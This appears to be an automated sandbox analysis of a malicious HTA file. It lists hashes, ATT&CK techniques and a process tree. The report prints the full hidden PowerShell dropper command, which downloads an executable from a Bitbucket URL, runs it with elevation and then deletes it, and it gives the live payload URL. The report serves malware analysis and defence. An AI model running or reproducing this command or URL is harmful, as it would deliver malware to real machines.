e5f2879072cdd3e4905f5fa8017be818d2c61f718d0fd322196e9cd54062ba4a

Analysis

max time kernel
120s
max time network
126s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
03-01-2025 12:37

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General

Target

1111.hta
Size

2KB
MD5

91b57eb5e0925c7522374b0c64902dfd
SHA1

437da5eb27efeb38a9b7f804066205964a345a33
SHA256

e5f2879072cdd3e4905f5fa8017be818d2c61f718d0fd322196e9cd54062ba4a
SHA512

68dc36ae7ba35fb736677a7b179cfdea7b93ff7cb95ea27ffec9bde61cfc3358148cb612a33450b2b5ce452bf47077a8ed6e6d5b497e027b05415a89ec5b76f4

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://bitbucket.org/docspaceplace/test2/downloads/1.exe

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1760	powershell.exe
6	1760	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1760	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
4	bitbucket.org
5	bitbucket.org
6	bitbucket.org

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1760	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1760	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2060 wrote to memory of 1760	2060	mshta.exe	30
PID 2060 wrote to memory of 1760	2060	mshta.exe	30
PID 2060 wrote to memory of 1760	2060	mshta.exe	30
PID 2060 wrote to memory of 1760	2060	mshta.exe	30

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\1111.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2060
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "$path = $Env:temp + '\EkXH.exe'; $client = New-Object System.Net.WebClient; $client.downloadfile('https://bitbucket.org/docspaceplace/test2/downloads/1.exe', $path); Start-Sleep -Seconds 10; Start-Process -Verb RunAs -FilePath $path -ArgumentList '-install'; Start-Sleep -Seconds 20; Remove-Item -Verb RunAs -Path \$path -Force"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads